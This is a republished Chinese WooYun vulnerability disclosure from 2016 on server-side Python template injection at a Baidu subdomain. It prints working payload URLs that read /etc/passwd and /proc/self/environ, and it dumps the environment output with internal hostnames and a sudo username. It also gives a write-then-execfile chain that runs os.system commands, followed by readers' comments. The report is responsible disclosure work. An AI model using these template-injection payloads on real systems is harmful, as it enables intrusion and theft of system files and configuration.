百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令)

admin 2017年4月4日05:19:46评论399 views字数 226阅读0分45秒阅读模式
摘要

2016-03-27: 细节已通知厂商并且等待厂商处理中
2016-03-27: 厂商已经确认,细节仅向厂商公开
2016-04-06: 细节向核心白帽子及相关领域专家公开
2016-04-16: 细节向普通白帽子公开
2016-04-26: 细节向实习白帽子公开
2016-05-11: 细节向公众公开

漏洞概要 关注数(151) 关注此漏洞

缺陷编号: WooYun-2016-189837

漏洞标题: 百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令)

相关厂商: 百度

漏洞作者: lijiejie百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令)

提交时间: 2016-03-27 23:17

公开时间: 2016-05-11 23:20

漏洞类型: 命令执行

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

49人收藏


漏洞详情

披露状态:

2016-03-27: 细节已通知厂商并且等待厂商处理中
2016-03-27: 厂商已经确认,细节仅向厂商公开
2016-04-06: 细节向核心白帽子及相关领域专家公开
2016-04-16: 细节向普通白帽子公开
2016-04-26: 细节向实习白帽子公开
2016-05-11: 细节向公众公开

简要描述:

百度某站点python模板远程代码执行, 可以执行任意python代码,进而执行任意系统命令(本例演示exec被禁的情况下执行系统命令的一种方法)

详细说明:

code 区域
http://t.youhua.baidu.com/{{open('/etc/passwd').read()}}/about.html

python模板存在代码执行,可以执行任意python脚本。

漏洞证明:

先读取passwd:

code 区域
http://t.youhua.baidu.com/{{open('/etc/passwd').read()}}/about.html

百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令)

再读取/proc/self/environ(不截图了),得到:

code 区域
LESSOPEN=|/usr/bin/lesspipe.sh %s
CVS_RSH=ssh
LOGNAME=work
USER=work
QTDIR=/usr/lib64/qt-3.3
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/opt/bin:/home/opt/bin:/home/work/bin
LANG=en_US
TERM=xterm
SHELL=/bin/bash
SHLVL=1
G_BROKEN_FILENAMES=1
SUPERVISOR_ENABLED=1
HISTSIZE=1000
SUDO_USER=hanfeihan
HOME=/home/work
MODULESHOME=/usr/share/Modules
USERNAME=work
SUDO_UID=192434
SUPERVISOR_PROCESS_NAME=uwsgi
SUPERVISOR_SERVER_URL=unix:///home/work/lingyun/program/supervisor/run/supervisor.sock
_=/home/work/lingyun/python/bin/supervisord
MODULEPATH=/usr/share/Modules/modulefiles:/etc/modulefiles
SUDO_COMMAND=/bin/bash
SUDO_GID=100000
OLDPWD=/home/work/lingyun/program
HOSTNAME=gzns-scloud-fhl-lingyun02.gzns.baidu.com
HISTCONTROL=ignoredups
PWD=/home/work/lingyun/program/supervisor
MAIL=/var/spool/mail/work
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=01;05;37;41:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.tbz=01;31:*.tbz2=01;31:*.bz=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=01;36:*.au=01;36:*.flac=01;36:*.mid=01;36:*.midi=01;36:*.mka=01;36:*.mp3=01;36:*.mpc=01;36:*.ogg=01;36:*.ra=01;36:*.wav=01;36:*.axa=01;36:*.oga=01;36:*.spx=01;36:*.xspf=01;36:
SUPERVISOR_GROUP_NAME=uwsgi
UWSGI_RELOADS=125
UWSGI_ORIGINAL_PROC_NAME=/home/work/lingyun/program/uwsgi/uwsgi

可以知道,当前用户是普通用户work。读hosts:

code 区域
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
10.42.7.124 api.su.baidu.com

尝试读取/home/work/.bash_history,失败了,说明文件不存在。

继续测试exec执行代码,也失败了,估计是被框架或者百度去掉了:

百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令)

eval是可以的,然而要执行系统命令,只有eval还做不到。

百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令)

注意: 此处模板中是无法执行多行的,为了执行系统命令,基本的思路是先写临时文件到/tmp,然后通过execfile函数来执行,把命令执行结果输出到/tmp/output,再读取/tmp/output的内容

code 区域
写test.py: http://t.youhua.baidu.com/{{open('/tmp/test.py','w').write('import os;os.system("ps aux > /tmp/output")')}}/about.html 
读取test.py核对:http://t.youhua.baidu.com/{{open('/tmp/test.py').read()}}/about.html
执行test.py: http://t.youhua.baidu.com/{{execfile('/tmp/test.py')}}/about.html
读取output: http://t.youhua.baidu.com/{{open('/tmp/output').read()}}/about.html

如下图所示,已经可以执行系统命令,可进一步获取系统中的源代码和敏感配置信息。

百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令)

修复方案:

过滤禁止任意python代码执行

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-03-27 23:20

厂商回复:

感谢对百度安全的关注

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-27 23:19 | 疯狗 百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令) ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    1

    经典!

  2. 2016-03-27 23:20 | answer 百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令) ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)

    1

    前排

  3. 2016-03-27 23:20 | 玉林嘎 百度某站点python模板远程代码执行(在不支持多行和exec的情形执行系统命令) ( 普通白帽子 | Rank:941 漏洞数:108 )

    1

    前排!

  4. 2016-03-27 23:25 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

    1

    qianpai

  5. 2016-03-27 23:26 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号:233sec 不定期分享各种漏洞思...)

    1

    前排。。

  6. 2016-03-27 23:38 | scanf ( 核心白帽子 | Rank:1694 漏洞数:239 | 。)

    1

    支持os吗?

  7. 2016-03-27 23:42 | sqlfeng ( 普通白帽子 | Rank:721 漏洞数:86 | 江山父老能容我,不使人间造孽钱)

    1

    卧槽,姐姐真厉害

  8. 2016-03-28 00:43 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:269 | 以大多数人的努力程度之低,根本轮不到去拼...)

    1

    前排。

  9. 2016-03-28 08:27 | 陆由乙 ( 普通白帽子 | Rank:620 漏洞数:137 | 我是突突兔!)

    1

    引入模块?

  10. 2016-03-28 09:13 | Rand0m ( 实习白帽子 | Rank:42 漏洞数:11 | 竟然还有人冒充我,醉了,骗子QQ:44569754...)

    1

    现在还算前排吗

  11. 2016-03-28 10:24 | Cyrils ( 实习白帽子 | Rank:47 漏洞数:12 | the more the better)

    1

    jinja?

  12. 2016-03-29 22:26 | LaTCue ( 普通白帽子 | Rank:121 漏洞数:29 | 满脑子的艺术细菌,当然,是人体艺术。)

    1

    我要做第一百个关注者

  13. 2016-04-27 18:09 | null_z ( 普通白帽子 | Rank:1012 漏洞数:115 )

    0

    这真心应该来个雷啊!

  14. 2016-04-27 18:23 | sysALong ( 普通白帽子 | Rank:464 漏洞数:100 | 在我们黑龙江这噶哒,就没有什么事是【撸串...)

    0

    杰杰能说说為甚麼你知道它可以执行python代码的呢?

  15. 2016-04-27 19:46 | whynot ( 普通白帽子 | Rank:678 漏洞数:136 | 为你解冻冰河 为你放弃世界有何不可)

    0

    .....没用过模板 完全不知道原因、

  16. 2016-05-13 13:54 | 包包 ( 实习白帽子 | Rank:77 漏洞数:34 | 我是菜鸟,我怕谁?小弟新来,望大牛多多包...)

    0

    lijiejie,你咋知道这个地方用的是python?

  17. 2016-05-13 15:24 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

    0

    写文件,检查,运行文件输出到文件,读文件

  18. 2016-05-17 12:07 | timor ( 路人 | Rank:20 漏洞数:6 | OnePiece)

    0

    这个点为什么能执行命令,完全不懂啊

  19. 2016-05-22 18:51 | pr0mise ( 路人 | 还没有发布任何漏洞 | 我会用阿D啊,为什么还是被拒了?)

    0

    没必要吧,能import os了 执行命令方式挺多的

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin